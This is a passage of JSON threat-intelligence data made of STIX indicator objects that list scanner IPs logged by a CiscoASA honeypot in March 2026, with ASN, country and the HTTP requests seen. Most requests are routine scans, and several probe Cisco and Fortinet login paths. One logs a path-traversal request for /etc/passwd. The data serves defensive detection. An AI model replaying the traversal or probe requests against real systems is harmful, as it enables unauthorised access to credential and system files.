        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-27T00:56:37.629Z",
          "last_seen": "2026-03-27T00:56:37.629Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--a6745b71-e4be-47f2-a656-a184de9ff48b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.89.89.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:20:13.000Z",
      "valid_until": "2026-04-28T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-27T00:56:32.495Z",
          "last_seen": "2026-03-27T00:56:35.499Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--dcb893e9-a005-4be4-8c11-b3b33465f216",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.81.162.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T01:20:13.000Z",
      "valid_until": "2026-04-28T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-27T00:57:02.214Z",
          "last_seen": "2026-03-27T00:57:02.214Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T03:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--92b101c8-f419-44f3-b7b2-587e2bf497ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '40.76.124.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T03:20:03.000Z",
      "valid_until": "2026-04-28T03:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-27T02:51:45.796Z",
          "last_seen": "2026-03-27T02:51:48.800Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T05:20:21.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--15158c33-3a9b-449f-b6fe-dbcc70a5c6ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T05:20:21.000Z",
      "valid_until": "2026-04-28T05:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-27T05:13:54.288Z",
          "last_seen": "2026-03-27T05:13:54.288Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T07:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--213ec726-fa41-43d0-b73f-f7bfea8d2b7a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:20:12.000Z",
      "valid_until": "2026-04-28T07:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-27T07:18:52.457Z",
          "last_seen": "2026-03-27T07:19:11.284Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/session_password.html HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--bf3e04ca-206e-4bd2-802c-59f06faa1185",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:20:13.000Z",
      "valid_until": "2026-04-28T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-27T07:47:30.111Z",
          "last_seen": "2026-03-27T07:47:30.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-27T09:20:03.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /login?redir=/ng HTTP/1.1\" 404 - geo: RU; ASN 200593 (Prospero Ooo)",
      "id": "indicator--15d786a1-b30c-44d0-8db6-b0517ef1da37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.215.85.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T09:20:03.000Z",
      "valid_until": "2026-04-28T09:20:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-27T08:20:43.594Z",
          "last_seen": "2026-03-27T08:20:43.594Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 200593,
          "as_org": "Prospero Ooo",
          "event_types": [
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T02:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--42ff731e-4d4a-438c-bb79-b40eda3e64a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:20:02.000Z",
      "valid_until": "2026-04-29T02:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-26T13:04:52.173Z",
          "last_seen": "2026-03-28T02:05:03.262Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T02:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--95847d69-379c-4375-8470-245812fa22ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T02:20:02.000Z",
      "valid_until": "2026-04-29T02:20:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-28T01:39:48.910Z",
          "last_seen": "2026-03-28T01:39:48.910Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e6133a72-2a57-4580-9d57-f5372fb64d2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-28T02:51:47.410Z",
          "last_seen": "2026-03-28T02:51:47.410Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c2942521-a967-4829-b003-73331af4a5a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-28T02:51:09.582Z",
          "last_seen": "2026-03-28T02:53:13.054Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--22fa3e65-f089-4e05-9688-63986183ffd5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-28T02:53:16.101Z",
          "last_seen": "2026-03-28T02:53:16.101Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 14,
          "first_seen": "2026-03-28T02:49:06.177Z",
          "last_seen": "2026-03-28T02:56:47.716Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--fd805782-351e-4ca5-aca0-77cea2b3325b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-28T02:53:03.987Z",
          "last_seen": "2026-03-28T02:53:03.987Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5e498064-19fc-4cf4-8214-fdba7d08e2f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-28T02:53:07.494Z",
          "last_seen": "2026-03-28T02:53:09.511Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c0951c3b-4fca-4b5d-812f-be4d1e8aadb4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-28T02:53:02.036Z",
          "last_seen": "2026-03-28T02:53:19.932Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T03:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3846009e-e3e6-4c1f-afee-828a5098835a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T03:20:14.000Z",
      "valid_until": "2026-04-29T03:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-28T02:53:18.476Z",
          "last_seen": "2026-03-28T02:53:18.476Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--9758775f-0df4-424b-b038-26bfc6b9a5ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '135.237.126.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T08:20:13.000Z",
      "valid_until": "2026-04-29T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-28T07:56:03.724Z",
          "last_seen": "2026-03-28T07:56:06.728Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T08:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--45bf1fe4-b63f-47fd-aa5b-d07a32f139db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T08:20:13.000Z",
      "valid_until": "2026-04-29T08:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-28T07:56:22.724Z",
          "last_seen": "2026-03-28T07:59:16.217Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T16:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T16:20:17.000Z",
      "valid_until": "2026-04-29T16:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-28T15:33:32.595Z",
          "last_seen": "2026-03-28T15:33:32.595Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-28T16:20:17.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: NL; ASN 202425 (IP Volume inc)",
      "id": "indicator--04274522-5976-4e2f-b515-50abad22e929",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.82.77.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T16:20:17.000Z",
      "valid_until": "2026-04-29T16:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 12,
          "first_seen": "2026-03-28T15:24:37.766Z",
          "last_seen": "2026-03-28T15:25:26.600Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 202425,
          "as_org": "IP Volume inc",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /aaa9 HTTP/1.1\" 404 -",
            "\"GET /aad7 HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-29T00:20:03.000Z",
